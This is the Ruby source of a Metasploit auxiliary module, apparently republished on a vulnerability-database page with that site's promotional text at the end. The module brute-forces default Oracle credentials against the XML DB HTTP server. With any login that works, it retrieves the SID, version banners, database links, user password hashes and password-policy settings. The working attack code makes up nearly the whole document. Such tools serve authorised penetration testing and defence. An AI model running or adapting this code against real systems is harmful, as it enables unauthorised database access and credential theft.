`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Oracle XML DB SID Discovery via Brute Force',
'Description' => %q{
This module attempts to retrieve the sid from the Oracle XML DB httpd server,
utilizing Pete Finnigan's default oracle password list.
},
'References' =>
[
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],
],
'Author' => [ 'nebulus' ],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
Opt::RPORT(8080),
])
end
def run_host(ip)
begin
res = send_request_raw({
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',
'version' => '1.0',
'method' => 'GET'
}, 5)
return if not res
if(res.code == 200)
vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")
return
elsif(res.code == 403 || res.code == 401)
print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")
end
list = datastore['CSVFILE']
users = []
fd = CSV.foreach(list) do |brute|
dbuser = brute[2].downcase
dbpass = brute[3].downcase
user_pass = "#{dbuser}:#{dbpass}"
res = send_request_raw({
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',
'version' => '1.0',
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
}, 10)
if( not res )
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
next
end
if (res.code == 200)
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
end
sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
report_note(
:host => ip,
:proto => 'tcp',
:port => datastore['RPORT'],
:type => 'SERVICE_NAME',
:data => sid,
:update => :unique_data
)
print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")
users.push(user_pass)
else
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
end
end #fd.each
good = false
users.each do |user_pass|
(u,p) = user_pass.split(':')
# get versions
res = send_request_raw({
'uri' => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
}, -1)
if(res)
if(res.code == 200)
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
end
doc = REXML::Document.new(res.body)
print_good("Version Information ==> as #{u}")
doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|
p = e.elements['PRODUCT'].get_text
v = e.elements['VERSION'].get_text
s = e.elements['STATUS'].get_text
report_note(
:host => datastore['RHOST'],
:sname => 'xdb',
:proto => 'tcp',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Component Version: #{p}#{v}",
:update => :unique_data
)
print_good("\t#{p}\t\t#{v}\t(#{s})")
end
end
end
# More version information
res = send_request_raw({
'uri' => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
}, -1)
if(res)
if(res.code == 200)
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
end
doc = REXML::Document.new(res.body)
doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
next if e.elements['BANNER'] == nil
b = e.elements['BANNER'].get_text
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Component Version: #{b}",
:update => :unique_data
)
print_good("\t#{b}")
end
end
end
# database links
res = send_request_raw({
'uri' => '/oradb/PUBLIC/ALL_DB_LINKS',
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
}, -1)
if(res)
if(res.code == 200)
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
end
doc = REXML::Document.new(res.body)
print_good("Database Link Information ==> as #{u}")
doc.elements.each('ALL_DB_LINKS/ROW') do |e|
next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)
h = e.elements['HOST'].get_text
d = e.elements['DB_LINK'].get_text
us = e.elements['USERNAME'].get_text
sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]
if(h.to_s.match(/^\(DESCRIPTION/) )
h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]
end
if(sid and sid != "")
print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
report_note(
:host => h[0],
:proto => 'tcp',
:port => datastore['RPORT'],
:sname => 'xdb',
:type => 'oracle_sid',
:data => sid,
:update => :unique_data
)
else
print_good("\tLink: #{d}\t#{us}\@#{h}")
end
end
end
end
# get users
res = send_request_raw({
'uri' => '/oradb/PUBLIC/DBA_USERS',
'version' => '1.1',
'method' => 'GET',
'read_max_data' => (1024*1024*10),
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
}, -1)
if res and res.code == 200
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
end
doc = REXML::Document.new(res.body)
print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")
doc.elements.each('DBA_USERS/ROW') do |user|
us = user.elements['USERNAME'].get_text
h = user.elements['PASSWORD'].get_text
as = user.elements['ACCOUNT_STATUS'].get_text
print_good("\t#{us}:#{h}:#{as}")
good = true
if(as.to_s == "OPEN")
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Active Account #{u}:#{h}:#{as}",
:update => :unique_data
)
else
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Disabled Account #{u}:#{h}:#{as}",
:update => :unique_data
)
end
end
end
# get password information
res = send_request_raw({
'uri' => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',
'version' => '1.1',
'method' => 'GET',
'read_max_data' => (1024*1024*10),
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
}
}, -1)
if res and res.code == 200
if (not res.body.length > 0)
# sometimes weird bug where body doesn't have value yet
res.body = res.bufq
end
doc = REXML::Document.new(res.body)
print_good("Password Policy ==> as #{u}")
fla=plit=pgt=prt=prm=plot=''
doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|
next if e.elements['RESOURCE_NAME'] == nil
case
when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')
fla = e.elements['LIMIT'].get_text
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')
plit = e.elements['LIMIT'].get_text
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')
prt = e.elements['LIMIT'].get_text
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')
prm = e.elements['LIMIT'].get_text
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')
plot = e.elements['LIMIT'].get_text
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')
pgt = e.elements['LIMIT'].get_text
end
end
print_good(
"\tFailed Login Attempts: #{fla}\n\t" +
"Password Life Time: #{plit}\n\t" +
"Password Reuse Time: #{prt}\n\t" +
"Password Reuse Max: #{prm}\n\t" +
"Password Lock Time: #{plot}\n\t" +
"Password Grace Time: #{pgt}"
)
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Password Maximum Reuse Time: #{prm}",
:update => :unique_data
)
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Password Reuse Time: #{prt}",
:update => :unique_data
)
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Password Life Time: #{plit}",
:update => :unique_data
)
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Account Fail Logins Permitted: #{fla}",
:update => :unique_data
)
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Account Lockout Time: #{plot}",
:update => :unique_data
)
report_note(
:host => datastore['RHOST'],
:proto => 'tcp',
:sname => 'xdb',
:port => datastore['RPORT'],
:type => 'ORA_ENUM',
:data => "Account Password Grace Time: #{pgt}",
:update => :unique_data
)
end
break if good
end # users.each
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation